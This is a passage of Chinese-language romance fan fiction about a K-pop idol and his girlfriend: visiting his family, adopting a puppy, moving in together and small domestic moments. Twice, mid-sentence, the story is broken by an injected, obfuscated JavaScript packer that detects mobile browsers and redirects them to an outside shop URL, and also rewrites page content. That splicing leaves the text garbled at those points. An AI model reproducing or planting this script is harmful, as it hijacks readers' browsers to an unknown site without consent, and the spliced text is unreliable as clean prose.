至龙无奈地笑着摇头,却把怀里的初星搂得更紧。初星破涕为笑,看着眼前的景象和身边爱人深情的眼眸,感觉这一刻,不,整个夜晚,都因为这份礼物而变得完整而璀璨。 59.第 59 章 新年假期的后半段,街道还洋溢着节日的气氛。至龙的车缓缓停在一栋雅致的住宅前。副驾驶座上的初星却攥紧了膝盖上的裙摆。 “到了。”至龙看着初星那副如临大敌般的紧张模样,轻笑出声,“放轻松点,娜比。我家人都很好的,尤其是我哦妈,她一定会很喜欢你。” 初星没好气地瞪了他一眼,伸手掐了一下他的腰,“都怪你!权至龙!要不是你非要把合照放在房间,叔叔阿姨怎么会突然说要见我?这下好了吧!“ 至龙吃痛地缩了缩身子,却还是笑着握住她的手,“迟早都要见的嘛。今天穿得很漂亮,我哦妈一定会对你赞不绝口的。“ 初星低头打量自己:一件米白色的针织连衣裙,外搭浅驼色大衣,既端庄又不失温柔。她不安地理了理额前并不凌乱的碎发,“真的可以吗?会不会显得太简单了?要不要再去买条丝巾?或者……” “这样很好,“至龙温柔的抚平她大衣的领口,“气质特别好。“他凑近些,热气拂过她的耳廓,“娜比怎么样都好看,穿什么都好看。” 被他这么一哄,初星紧绷的神经才放松了些许。她伸出拳头,像是下定了决心般点了点头:“那……我们进去吧。” 至龙拎着礼盒下车,绕到副驾驶牵起初星的手。阳光洒在两人身上,在门前投下相依的身影。至龙按响门铃前,轻轻握了握她的手:"有我在呢。" 门内传来脚步声,初星的心跳不由自主地加快。志龙对她露出安抚的微笑,手指悄悄在她掌心画着圈,像是在说:别怕,一切都有我。 “咔嚓”一声轻响,门被打开。龙妈温暖慈祥的面容出现在门口。看到门外的两人,尤其是看到初星时,她的眼睛里迸发出惊喜的光芒,笑容愈发灿烂:“哎一古,至龙真的把初星给带回来啦?快进来快进来,外面冷!”她热情地招呼着,目光亲切地落在初星身上,“上次见你,还是至龙高中过生日的时候吧?这一晃眼,都长成这么漂亮的大姑娘了?时间过得可真快啊!” 初星连忙乖巧地躬身行礼,脸颊微红:“阿姨新年好!打扰您了,好久不见了。” 达美也闻声探出头来,手里还拿着一个锅铲,围着和母亲同款的围裙。她好奇地打量着初星,仔细端详了片刻,恍然大悟般拍了拍手,“啊!我想起来了!是那个给至龙补习功课的女孩,对不对?“ 她笑着对一脸得意的至龙眨了眨眼,“我当时就觉得不对劲!至龙藏得可够深的呀!” 初星羞得几乎想找个地缝钻进去。至龙感受到她的窘迫,低声在她耳边说:“我都说了不用紧张,她们很随和的。” 客厅里,龙爸放下手中的报纸,温和地看向初星,“这位就是初星吧?经常听至龙提起你。”他微笑着点了点头,“今天一见,果然是个善良聪明的孩子啊!” “叔叔新年好,您过奖了。“ 初星再次恭敬地行礼。 龙妈热情地拉着初星坐下,亲切地拉着她的手,“上次见你的时候还是个青涩的小姑娘呢,一转眼出落得越来越漂亮了。“ 初星点点头,至龙在一旁忍不住轻笑,带着点揭短的意味:“哦妈,你那时候还偷偷把我拉到一边,问我是不是喜欢人家小姑娘。” “哎呀,你这孩子!怎么什么都说!”龙妈嗔怪地轻轻拍了下儿子的手臂,“我那不是关心你嘛!当妈的问问自己儿子的心思怎么了?” 达美端来水果,笑着爆料:“我记得特别清楚,初星来补习那次,我正好在客厅看电视。一开门看到这么漂亮、气质又好的女孩子,我心想可不能当电灯泡,赶紧就抱着零食回避到房间去了。”她促狭地看向弟弟,“看来我很有先见之明嘛,是不是啊,至龙?” 午餐时间,餐厅里弥漫着温馨的家常菜香气。龙爸温和地问起初星在大学的学习情况以及未来的规划,言语间充满了鼓励。龙妈则不停地给她夹菜,堆满了她面前的小碟子,慈爱地说:“多吃点,看你瘦的。以后常来家里玩,阿姨给你做好吃的,把至龙的那份也给你吃。” 至龙坐在初星旁边,在餐桌下悄悄伸出手,紧紧握住她有些微凉的手,在她掌心轻轻挠了挠,对她露出一个“看吧,我说什么来着“的安心微笑。初星看着这一家人其乐融融的氛围,感受着他们的善意和热情,心里最后的一点紧张和忐忑也消失了。 * 午餐后,龙妈温柔地拉着初星的手,对至龙说:“至龙啊,你去书房帮你爸爸整理一下他那些收藏的唱片。”然后她转向初星,“初星啊,要不要去至龙的房间看看?他前段时间非说要换心情,把房间重新布置了一下,非要弄成什么''工业风'',你去看看喜不喜欢?” 初星有些不好意思地点了点头。至龙捏了捏她的手心,“去吧,随便看,我没什么秘密。我很快弄完就上来找你。” 达美主动站起身,挽起初星的胳膊:“来,欧尼带你去看某个人的''秘密基地'',里面说不定藏了不少宝贝呢。” 来到至龙的房间,“你看,”达美指着靠窗的书架,嘴角带着了然的笑意,“那个相框,摆的位置是不是特别显眼?正对着门口,一进来就能看到。” 初星顺着她指的方向望去,果然看到一个精致的银色相框被特意摆放在书架最中央的格子上,里面是她和至龙在游乐场拍的合照,两人笑得特别开心。相框周围还空出一圈,像是特意为它留出的“C位”。 达美压低声音,带着分享小秘密的亲昵:“跟你说哦,这可不是随便放的。至龙那小子,可是调整了好几次角度,还跑来问我''怒那,你看这个位置,哦妈进来打扫的时候,一眼就能看到吧?''” 初星吃惊地睁大了眼睛。 达美笑出声: “他啊,就是故意的!心里着急想让家里人知道你的存在,又不好意思直接说,就用这种小心思。摆了好几天,就等着谁先发现呢。” “初星啊,说真的,我们家至龙从小到大,因为性格开朗,和女生相处得都不错,朋友很多,但是除了你,我从没见他对哪个女孩子这么紧张认真过。你是第一个他费尽心思带回家的女孩。” 正说着,门外走廊上传来略带急促的脚步声,达美立刻收住了话头,对初星做了个的“保密”的手势,随后提高音量,“初星你慢慢看,我去楼下帮哦妈啦。” 至龙推开门,正好和姐姐擦肩而过。他疑惑地看着姐姐匆匆离开的背影,走到初星身边:“怒那没跟你说什么奇怪的话吧?她有时候就爱瞎开玩笑。” 初星坐在床上,想到达美那句“故意摆出来”和“着急想让家里人知道”,心里泛着甜蜜。但她又板起脸,掐了下他的手臂:“听说……某人是故意把我们的合照摆在显眼处的?就为了让叔叔阿姨看见?还听说……你从小就很会和女生相处,人缘特别好?”她歪着头,审视地盯着他,“老实交代,在我之前,到底有过几个''相处得不错''的前女友?” 至龙顿时耳尖泛红,支支吾吾地说:“那、那都是小时候不懂事……真的没几个……都是怒那乱说的……” 初星一听他这含糊其辞的回答更来气了,抓起至龙的手就在手背上重重咬了一下,“没几个是几个?你给我说具体数字!还有!”她又想起前段时间闹得沸沸扬扬的绯闻,眼睛都气圆了,“前阵子和女团成员又是怎么回事?同款饰品是怎么回事?” 至龙吃痛地缩了下手,急忙解释:“都是造型师搭配的!打歌服配件那么多,我哪记得清每一个细节啊!我真的不知道会跟别人撞款!都是捕风捉影!”他委屈地揉着手背,“以后不要看这些乱七八糟的新闻了好不好?狗仔天天乱写,娜比相信我好不好?我心里只有谁,你难道不清楚吗?” 看着至龙急得耳根通红,初星其实已经信了大半,但还是故意哼了一声,“你保证!以后都和女艺人保持安全距离!” “我保证!“至龙举起三根手指,“和女艺人合作,保持安全距离!接受采访绝对不提任何异性朋友!这样满意吗?我的醋坛子小姐?” 初星这才满意地点点头,至龙看着她终于雨过天晴的笑容,心里松了口气,温柔地把她搂进怀里,吻了吻她的发顶,“傻瓜,从遇见你那一刻起,我的心里,就只装得下你一个人。以前是,现在是,以后也是。” 至龙摩挲着被咬的手背,松开初星,挑眉看向她:“现在轮到我们娜比老实交代了。在我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823121|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前,交往过几个男朋友?”他的语气带着几分戏谑,眼神却格外认真。 初星眼神飘忽,想转移话题,“这个嘛……哎呀,今天天气真不错,阳光暖暖的……”但见至龙目光灼灼地盯着她,只好小声嘟囔着,“就……就一个。” “哦?就一个?“至龙凑近,鼻尖几乎要碰到她的,“那你喜欢他吗?” 初星有些发烫:“不、不喜欢的话……为什么要谈恋爱啊……” “有多喜欢?”至龙的手指缠绕上她柔软的发丝,轻轻把玩着。 “嗯……”初星无意识地咬住下唇,陷入了回忆。“就是……有点着迷的程度吧。因为是第一次喜欢的人,就觉得他不管怎么样都很好,连……连他偶尔皱眉思考的样子,都觉得特别帅,心跳都……”她越说声音越小,完全没有注意到至龙骤然暗沉的眼神。 话音未落,她的腰被铁箍般的手臂勒住。志龙一把扣住她的后颈,将她抵在床上,唇重重压了下来。 起初只是惩罚性的轻咬,在初星吃痛张嘴的刹那,他的舌尖长驱直入,缠着她的不放。他的吻又深又急,像是要把她肺里的空气全部抽干,初星被吻得头脑发昏,手指下意识地攥紧他的衣领,却被他更用力地按进怀里。 “他好……”唇齿纠缠的间隙,志龙嗓音低哑,“还是我好?”没等她回答,他又狠狠吻上来,舌尖扫过她的上颚,激起她一阵战栗。“他帅……”他的犬齿危险地磨过她的下唇,“还是我帅?” 初星刚想开口,声音还没溢出喉咙,就被他更凶狠的吻堵了回去。 “他有..."志龙的唇稍稍退开,却仍贴着她的,灼热的呼吸烫着她的皮肤,"这样亲过你吗?” 初星想摇头,他的吻又覆了上来,比之前更激烈,更贪婪。他的舌尖一遍遍描摹她的唇形,像是要彻底覆盖掉别人的痕迹。初星被吻得意识模糊,指尖发麻,连呼吸都成了奢侈。 “还是说...”他的唇退开一点,却仍贴着她的唇角低语,“他连这样...都没吻过你?” 初星急促地喘息着,胸口剧烈起伏,唇瓣被他吻得发烫发麻。她又想说话,志龙却再一次低头,像是要把她整个人吞下去。 楼下传来龙妈的声音:"孩子们,水果准备好了哦~" 至龙终于稍稍退开,眼神里带着炽热和一丝意犹未尽,“对不起,娜比,还好吗?” 初星红着脸点点头,两人静静相拥着躺在床上。突然,她感受到异样的起伏,热度透过衣料清晰地传来。 “呀!”初星猛地推开他,整张脸涨得通红,“权至龙!流氓!” 志龙猝不及防被推开,手忙脚乱地抓过枕头放在身前,耳尖红得滴血:“对、对不起!我不是故意的……”他手足无措地解释,声音越来越小,“我……我也没想到……” 初星抱着膝盖缩在床角,羞得把脸埋进掌心:“你……你还不快想办法!” “我在想!我在想!”志龙慌慌张张地跳下床,结果被床单绊了个踉跄。他抓起外套系在腰间,像个做错事的孩子一样站在床边,连脖子都红透了:“娜比你要……不要先下去吃水果?” 初星从指缝里偷看他窘迫的样子,忍不住笑出声。志龙见状也跟着傻笑起来,两人之间的尴尬顷刻间消散了不少。 "笨蛋..."初星小声嘟囔着,起身整理了下有些凌乱的衣物,才下楼。 初星的嘴唇还带着明显的红肿,眼神也水润润的,透着一股娇媚。龙妈是过来人,心知肚明地笑了笑,什么也没问,只是热情地招呼吃水果。姐姐则投去一个带着调侃和“我懂的“的眼神。 良久,至龙才下楼。全程都紧紧挨着初星坐下,一只手在桌下与她十指相扣,另一只手则时不时地叉起一块水果递到她嘴边。初星脸红不已,却又拗不过他,只能红着脸小口吃掉,引来家人善意的低笑。 初星侧过头,看着至龙在阳光下显得格外柔和深邃的侧脸轮廓,看着他专注地为自己挑选水果时认真的神情,心里甜甜地想:虽然这个家伙醋劲大了点,霸道了点,但这样毫不掩饰、全心全意爱着她的他,真的好可爱,让她怎么也生不起气来。 60.第 60 章 夜色渐深,室内,只开着一盏暖黄色的落地灯,光线柔和地笼罩着客厅一角。初星窝在沙发里,头枕在至龙大腿上看着电影。 “总觉得家里空荡荡的……”初星轻声嘟囔,手指无意识地卷着志龙的衣角,“要不要养只宠物?会热闹点。” 至龙低头看她,手指轻柔地穿梭在她的长发,一下下梳理着。“我搬下来住,天天陪着你,就不空旷了!保证吵得你嫌烦。” "说正经的呢!"初星嗔怪地拍了他一下,像是被自己的想法点燃了兴致,坐起来,“去宠物店看看吧?我知道江南区有家24小时宠物店。” “现在?”至龙抬手看了眼时间,“都快十点了,bae,你不困吗?明天再去也来得及。” “不困不困!说走就走嘛!”初星已经活力满满地跳下了沙发,抓起衣物套上,催促着还坐在沙发上的至龙,“吧里吧里!再晚说不定真要关门了!” 至龙无奈地站起身,拿起自己的外套:“好,好,听你的,现在就去。” 两人开车来到宠物店,玻璃橱窗里,各种可爱的动物在各自的区域里或嬉戏或安睡。 一进门,初星就被猫咪区吸引了。她在猫舍前流连忘返,看着里面姿态各异的猫咪,眼睛都挪不开了。最后她抱起一只布偶猫幼崽,兴奋地展示给至龙看,“至龙!你看!它好漂亮好乖啊!我们养这只好不好?” 却见到至龙站在不远处,手背抵着鼻子,紧接着,他控制不住地打了好几个喷嚏,眼睛和鼻子都红了。 "怎么了?"初星担忧地问。 至龙揉了揉发痒的鼻子,“没事……可能对猫毛有点……过敏。”说完又是一个喷嚏,样子看起来颇为狼狈。但他还是强撑着,安抚道:“不过……没关系的,娜比喜欢就养。我……我能克服的,戴口罩、吃药就好了……” 初星哪里还忍心。她转身,小心地把猫猫放回去,还歉意地摸了摸它的头。走回至龙身边,拉住他的手,“算了算了,这样太难受了。养宠物是为了开心,不能让你受罪。我们看看别的吧?” 至龙还在坚持:“真的没关系……娜比,你喜欢最重要……” “行啦,”初星打断他,轻轻用指尖擦掉他眼角的泪花。“我更心疼你。走,我们去看狗狗!狗狗也很可爱的!” 狗狗区明显活跃许多,各种品种、体型不一的狗狗在围栏里摇着尾巴,发出友好的叫声。初星转了一圈,她的视线被角落里单独的小围栏吸引了过去。里面趴着一只小小的沙皮犬幼崽。 “哇!”初星蹲下身,隔着围栏仔细端详,“你看它!好特别啊!”她把小沙皮犬抱了出来。小家伙很温顺,一到她怀里,就用湿漉漉的小鼻子蹭了蹭她的手心,发出哼哼唧唧的声音。 至龙看着这只"其貌不扬"的小狗,有些意外,“娜比喜欢……这样的?” “超可爱啊!”初星肯定地点头,把小狗举到至龙面前,皱巴巴的小脸对着他,“你看它的表情,多有个性!憨憨的!我们带它回去怎么样?它看起来好乖!” 仿佛是为了印证她的话,小沙皮犬配合地"汪"地叫了一声。至龙看着她期待的眼神,忍不住笑了,“好,你喜欢,我们就带它回家。” 办完手续,抱着新成员坐回车上。“该给他取什么名字好呢?”初星挠着小狗柔软的下巴,小家伙舒服地眯起了眼睛。 至龙看着小狗那副憨态可掬的小模样,脑中灵光一现,“叫''家虎''怎么样?听起来威风,又跟它这''小老头''的样子完全符合。” “家虎?”初星眼睛一亮,促狭地看向至龙,“好!那就叫权家虎!” 至龙愣了一下,“为什么跟我姓?” “因为它很可爱啊,”初星笑得像只成功偷到腥的小狐狸,意有所指地瞅着至龙,“跟你一样,丑萌丑萌的~都很有特色!” 至龙顿时哭笑不得,伸手去捏她的脸:“呀!娜比!你说谁丑萌?” 初星抱着小狗灵巧地躲开他的"魔爪",振振有词地指着怀里的家虎:“难道不是吗?你看家虎皱眉头思考''狗生''的样子,简直跟你作曲时候的表情一模一样!都是眉头能夹死苍蝇!”家虎很配合地皱起眉头,发出呜呜的声音,那表情带着点莫名的"深沉"和"忧郁",把两人都逗得笑出了声。 至龙宠溺地摇头,温柔地摸了摸小狗的脑袋:“好吧,权家虎就权家虎。以后就是我们权家的一员了。” 回到宿舍后,初星抱着小沙皮开始参观:"家虎呀,这是客厅,这是厨房~"她抱着小狗在各个房间转悠,最后停在卧室前,“这是哦妈的房间哦。” 至龙跟在她身后,忍不住笑着插嘴:“家虎,我是阿爸啊。” 初星瞪了他一眼:“才不是!家虎只有哦妈!” 至龙义正严辞地指着小狗:"都姓权了,我当然是阿爸啊。"说着伸手逗弄小狗的下巴,“对不对啊,家虎?” 小沙皮很给面子地"汪"了一声,至龙得意地看向初星:“看吧,家虎都承认了。” 初星气鼓鼓地把小狗抱紧:“家虎才不是这个意思!”但她看着怀里的小狗和身边笑得温柔的至龙,又觉得这样的画面格外温馨。 她低头对小狗轻声说:"好啦好啦,那个笑得傻乎乎的人...勉强算是你阿爸吧。" 至龙立马凑过来,在初星脸上亲了一下:"这才对嘛。"又摸摸小狗的头,“不过,孩子和哦妈都住在这里,阿爸怎么能不在呢?” 初星警惕地看他:“你想得美!” 至龙换上委屈的表情,声音带着撒娇的尾音:”啊啊啊~娜比不相信我吗?”他把下巴搁在她肩上,“我保证就住在次卧,你不同意我不会怎么样的……” 见初星还是不为所动,他继续软磨硬泡:“家虎还这么小,需要阿爸照顾啊。万一晚上它闹腾,我还能帮忙……”说着伸手逗弄小狗,“家虎也想和阿爸住一起对不对?” 小沙皮伸出舌头舔了舔至龙的手,至龙看着初星:“娜比快看!家虎都同意了!” 初星看着这一大一小两双期待的眼睛,“好啦好啦,但是说好只住次卧哦。” 至龙开心地抱起她和家虎转了个圈:“当然!我保证!”却又偷偷在她耳边补充,“不过要是哪天哦妈改变主意了,阿爸随时欢迎哦~” 初星红着脸捶他,却被他温柔地握住手。 至龙果然守信地住进了次卧,但总找各种理由往主卧跑。一会儿问家虎的狗粮要放在哪里,一会儿说次卧的被子不太舒服,最后干脆抱着枕头可怜巴巴地站在主卧门口:“家虎好像在哭,可能是想和阿爸哦妈一起睡……” 初星看着怀里睡得正香的小狗,又看看门口那个抱大型"家虎",“它明明睡得很香啊!” 至龙理直气壮地走进来:“那是刚才,现在醒了。”说着很自然地把枕头放在床上,伸手接过小狗,“家虎啊,阿爸来陪你了~” 小沙皮被弄醒也不闹,反而亲昵地蹭着至龙的手。初星看着这默契的样子,妥协地往旁边挪了挪:“就今晚哦!” 至龙得逞地笑了,却小心地把家虎抱起来,轻轻放到床尾旁的狗窝里:“小朋友该睡自己的床了。” 家虎迷迷糊糊地哼了两声,在柔软的窝里蹭了蹭又睡了。至龙这才轻手轻脚地躺到初星身边,两人之间突然空出的距离让气氛变得微妙起来。 “那个……”至龙难得有些拘谨,“空调温度合适吗?” 初星背对着他,声音轻轻的:“嗯...” 沉默片刻,至龙又找话题:“家虎的窝看起来挺舒服的。” “嗯……” 又一阵沉默。至龙悄悄往初星那边挪近一点:“娜比你……冷吗?” 初星转过身来,看着他紧张的样子。她刚想说些什么,至龙的视线却落在她张开的唇瓣上,眼神渐渐深邃。他凑过去,温柔地吻住她的唇。初星惊讶地睁大眼睛,却被他轻轻托住后脑勺加深了这个吻。 一吻结束后,初星捶了他一下: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828762|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “呀!权至龙!不是说什么都不做吗?” 至龙赶紧道歉,声音里却带着笑意:“对不起...但是刚刚真的很想亲你。”他讨好地蹭蹭她的鼻尖,“我们娜比太可爱了,没忍住……” 初星哼了一声转过身去,却偷偷抿嘴笑,“再这样就去睡沙发!” 至龙从后面轻轻抱住她,“好,下次一定先申请。”他在她耳下落下一个轻吻,“睡吧,我的小星星。” 月光静静地洒满房间,家虎在窝里发出均匀的呼吸声。初星在至龙温暖的怀抱里放松下来,小声嘟囔着:“勉强原谅你了……”然后安心地进入了梦乡。 至龙看着她安静的睡颜,嘴角扬起温柔的弧度,也闭上了眼睛。 自从那晚至龙"成功"留宿主卧后,他就开始得寸进尺。直接抱着自己的枕头,在初星无奈又好笑的目光中,堂而皇之地钻进初星的被窝。 初星每次都要故作嫌弃地推他,“呀!权至龙!不是说好只住次卧吗?你怎么又跑过来了!” 至龙则会死皮赖脸地顺势搂住她的腰,把脸埋在她颈窝里蹭来蹭去,用着撒娇的小奶音给出一天比一天离谱的理由:“次卧空调坏了,制冷不行……次卧浴室好像有点漏水,地板有点潮……次卧的床垫太硬了,睡得我腰疼……”到最后,干脆耍赖到底,直接表明心意:“我认床,真的!只有抱着我的娜比,闻着娜比的味道才能睡着~离开娜比我就失眠!” 渐渐地,主卧的衣柜里挂满了至龙的睡衣、家居服和常穿的衣物;洗手台上,她的护肤品旁边,并排摆上了他的剃须刀、须后水和男士洁面乳;连她那边的床头柜,都侵占了一半空间,放上了他的眼罩、助眠香薰和他睡前喜欢翻看的艺术图册。这个家,到处都充满了两人共同生活的痕迹。 在至龙行程不那么密集的时候,初星总能在傍晚时分,听到钥匙转动门锁的熟悉声音。接着,一个带着室外微凉气息、却混合着他独特香水味的怀抱会从背后将她拥住。至龙会死死黏着她,絮絮叨叨地说着工作中遇到的趣事或烦恼。晚上相拥而眠时,他总喜欢把脸深深埋在她颈窝,手臂紧紧地圈着她的腰,仿佛她是世界上最珍贵的礼物,带着近乎依赖的占有欲。 但当行程繁忙时,初星往往是在深夜的睡梦中,才迷迷糊糊地感受到身边床垫微微下陷,接着是一个温暖的拥抱。半梦半醒间,她会闻到那缕熟悉的香水味,感受到身后贴近的坚实胸膛,和落在发间的晚安吻。等她清晨醒来时,身旁往往已经空无一人,只留下枕头上浅浅的凹痕和一丝余温。而床头柜上,总会贴着一张便利贴: "早餐在微波炉里,再热一分钟就好。记得喝牛奶哦~娜比,今天也要想我。(笑脸爱心)——你的至龙" 有时,她会在凌晨两三点,隐约听到浴室传来极轻的水声,知道是他刚结束行程,连夜赶了回来。第二天醒来,总能发现床头多了一盒她提过想吃的点心,或是衣柜里挂上了他逛街时看到觉得适合她的新衣服。 某个难得的、没有行程安排的清晨,初星在生物钟的作用下自然醒来,却意外地发现至龙还在身边。他睡得正熟,手臂还牢牢地环在她的腰上。她静静地侧躺着,看着他毫无防备的睡颜。忍不住伸出手指,极轻极轻地戳了戳他温热的脸颊,“总算抓到一次赖床的了……平时都是你比我起得早。” 或许是她的动作,或许是阳光,至龙动了动,缓缓睁开眼。视线对焦后,看到近在咫尺的她,他下意识地把她往怀里带了带,下巴蹭了蹭她的发顶,声音带着慵懒的睡意,“早上好啊,我的娜比……”他满足地叹了口气,“今天真好,没有行程,终于能陪娜比好好吃顿早餐了。” 家虎也醒了,它熟练地跳上床,找到两人之间的空隙,挤了进来,脑袋蹭着至龙的手,发出哼哼声,讨要抚摸和早餐。 清晨的阳光温暖而不刺眼,柔软的被子包裹着身体,身边是她爱的人和他们的"毛孩子"。也许,幸福恰恰就是这样的时刻——寻常的清晨,温暖的被窝,相爱的人。 61.第 61 章 午后的阳光洒满了宽敞的客厅。至龙盘腿坐在柔软的地毯上,腿上搁着打开的电脑。戴着耳机,专注地盯着屏幕上的音轨,修长的手指偶尔在键盘上敲击几下,偶尔轻声哼着旋律,随即又停下来,若有所思地修改着。 初星在一旁放着不久前永裴发行的solo专辑,家虎正兴奋地围着她转圈,追逐着抛出的小球,尾巴摇得像个小螺旋桨。 “永裴欧巴的新专辑真好听~”初星随着轻柔的节奏轻轻摇摆,家虎也跟着音乐的节拍转得更起劲了,发出欢快的"呜呜"声。 至龙头也没抬地轻笑,“喜欢的话,下次带你去录音室玩。” 初星开心地"嗯"了一声,继续沉浸在音乐中。听了一两首都是永裴标志性的温柔情歌,直到播放到其中一首歌的副歌部分时,永裴深情的嗓音唱着: "就算我花心你也绝对不要花心~baby 即使我把你忘记了,你也不要忘了我~lady" 初星逗弄家虎的动作一顿,以为自己听错了。她疑惑地调大音量,接下来的歌词,更让她目瞪口呆: "就算偶尔我去喝酒没联系你 就算我暂时跟别的女人对上眼 你也只看着我~" "......???" 初星整个人都懵了,抱着家虎僵在原地。她缓缓地转头看向本该在"认真工作"的至龙。发现他不知何时已经停下了工作,正憋笑憋的肩膀发抖。 “这…这真是永裴欧巴唱的?”初星难以置信地指着音响,“我的天!原来永裴欧巴是这样的吗?!这歌词也太…霸气了吧?!”她的世界观受到了小小的冲击。 “噗——哈哈哈!”至龙再也忍不住笑出声,眼泪都快飙出来了。他揉着肚子,“哎一古...不行了...娜比你的表情太可爱了!”笑够了,擦了擦眼角,又不好意思摸了摸后颈,“其实...我也录了这首歌。虽然我改了点但是也差不多...” 初星眯起眼睛:“所以你也觉得‘暂时和别的女人对上眼’没关系?” “当然不是!”至龙赶紧把她拉进怀里,委屈的撇嘴,“娜比你要相信我!那真的只是歌词啊!是为了歌曲效果和概念写的!是艺术创作!我的心意你还不知道吗?”说着抓住初星的手,紧紧按在自己胸口,“这里从来都只装得下娜比一个人。” 家虎也用湿漉漉的鼻子蹭蹭她的手背,发出呜呜的声音,像是在帮至龙说情。 看着他这副模样,初星放在他胸口的手推了推,“好啦好啦,看在家虎的面子上相信你,下次再写这种''大男子主义''的歌词,要提前报备!” 至龙松了口气,亲昵地蹭了蹭她的鼻尖,“遵命!最喜欢娜比了!" 专辑继续播放着,下一首的前奏响起时,初星立刻被优美的旋律吸引了。 “哇,这首真好听!”初星忍不住赞叹,靠在至龙肩上静静聆听。随着音乐的推进,不自觉地轻轻点头,“旋律太美了…永裴欧巴的声音也好适合这种风格,唱得好温柔。” 至龙看着她陶醉其中的可爱模样,扬起一抹意味深长的笑,他耐心地等她把副歌听完,才慢悠悠地开口:“嗯,这首歌啊…歌名也挺特别的。叫《make love》。” 初星还沉浸在音乐中,下意识地点着头,“Make Love啊…真好听……等等!"她突然反应过来,点头的动作戛然而止,“啊?叫什么?” “Make Love。”志龙笑着重复,故意把这两个单词说得又慢又清晰。 初星羞得无地自容,一把抓过旁边的抱枕,把滚烫的脸埋了进去,发出哀嚎:“呀!权至龙!你肯定是故意的!故意等到我最投入的时候才说!” 至龙笑着把她连人带抱枕搂进怀里,“哎呀,我们娜比刚才点头点得那么可爱,像个小音乐家,我没忍心打断嘛~”他跟着哼唱了两句,“不过歌词写得确实挺浪漫了啊~” 家虎不明所以,看着妈妈把脸藏起来,也学着初星刚才的样子,困惑地歪着小脑袋,皱巴巴的脸上满是问号。 初星从抱枕里露出眼睛,小声抗议:“哪有人给情歌取这种直白名字的…我还那么投入地欣赏,形象全没了…” “这很浪漫、很直接啊~”至龙低头在她耳边轻声说,“不过呢,比起听歌,我更喜欢…实践呢。” 初星红着脸用力推开他:“你想得美!” 至龙大笑着,重新把她捞回怀里,紧紧抱住:“开玩笑的~别生气嘛~不过这首歌确实很适合……”他故意停顿了一下,看着初星警惕的表情,才慢悠悠地说完,“……适合晚上睡前听,很助眠,对吧?” “……” 夜晚,客厅里只剩下电视节目的微弱声响和家虎规律的呼噜声。至龙合上笔记本电脑,揉了揉酸涩的后颈。书房的灯光在他离开后悄然熄灭。他习惯性地走向房间,却在走廊停住了脚步。 空气中,弥漫着一股……不太对劲的味道。不是火灾警报器要响的那种焦糊,但也绝非能勾起食欲的食物香气。更像是一种犹豫不决的、尝试失败后的味道,夹杂着淡淡油烟气。 他悄无声息地走到厨房门口。暖黄的灯光下,初星背对着他,正全神贯注地对付锅里滋滋作响的东西。她身上套着明显过大的卡通围裙,一手举着锅盖当盾牌,另一只手拿着锅铲,如临大敌般与锅里的不明物体对峙着。动作生涩又害怕,操作台上,还散落着几片可能是失败作品的蛋壳碎片。 至龙靠在门框上,咧开嘴傻笑,看了好一会儿才轻声开口,生怕突然出声会吓到她:“我们娜比今天怎么对这个战场感兴趣了?在做什么好吃的?” “啊!”初星还是被吓了一跳,手一抖,锅铲差点脱手。她猛地转身,下意识地想挡住锅子,这个动作让她手腕内侧几处新鲜的红点格外显眼。“你…你忙完啦?看你最近那么累,我想着给你做个宵夜来着……” 至龙脸上的笑意淡去,他几步走近,没去看锅里黑乎乎的"宵夜",而是握住她的手腕,将她的手臂转向灯光。“这是什么?”他的声音沉了下来,指尖极轻地抚过那些红痕。 初星想抽回手,没成功。“没事的,就不小心溅到一点点,都不疼了。” 至龙没说话,关火,拉着她走出厨房,径直走向客厅的医药箱。他按着她的肩膀让她在沙发上坐下,自己单膝跪在地毯上,找出烫伤膏。家虎被惊动,好奇地嗅了嗅药膏的味道。 他低着头,专注地用棉签蘸着药膏一点一点涂在那片刺眼的红点上。药膏接触到烫伤处的瞬间,带来一阵清凉又带着些许刺激的痛感。初星立刻倒吸一口冷气,眼眶一下就红了。 “嘶——疼……”她带着哭腔小声哼唧,下意识就想缩回手。 至龙稳稳地握住她的手腕,动作放得更轻更慢,“娜比,很快就好了,必须涂均匀才行。”他的眉头皱得更紧,看着那几处红肿,心疼的仿佛伤在自己身上。 棉签又一次轻轻落下,初星的眼泪"啪嗒"一下掉了下来,砸在至龙的手背上。“呜呜……你轻点嘛……”她哭的像个孩子,声音又软又委屈,“真的好疼……比溅到的时候还疼……” 至龙的心被她哭得揪得更紧了。他一边吹气一边涂药,“马上就涂完了,乖。”他的动作尽可能放到最轻,但药膏带来的刺痛感还是让初星哭得一抽一抽的。 家虎焦急地在两人脚边转来转去,时不时蹭蹭初星的小腿以示安慰。 “都是你不好……”初星迁怒地用小拳头捶他肩膀,“非要涂什么药嘛……让它自己好不行吗……说不定明天就不疼了……” 至龙无奈地任她捶打,脸上带着纵容的苦笑。他终于涂完了最后一点药膏,放下棉签,把她搂进怀里,安抚地拍着她的后背,“好了好了,涂完了,都涂好了。我们娜比最勇敢了,是世界上最勇敢的女孩。” 初星抽抽搭搭地抱怨:“勇敢什么呀……疼死了……我以后再也不进厨房了……对皮肤也不好……真是的……” 至龙没有说话,只是更紧地抱了抱她。过了一会儿,他微微松开怀抱,伸出手,指腹极柔地拭过初星湿润的眼角,抹去那点咸涩。 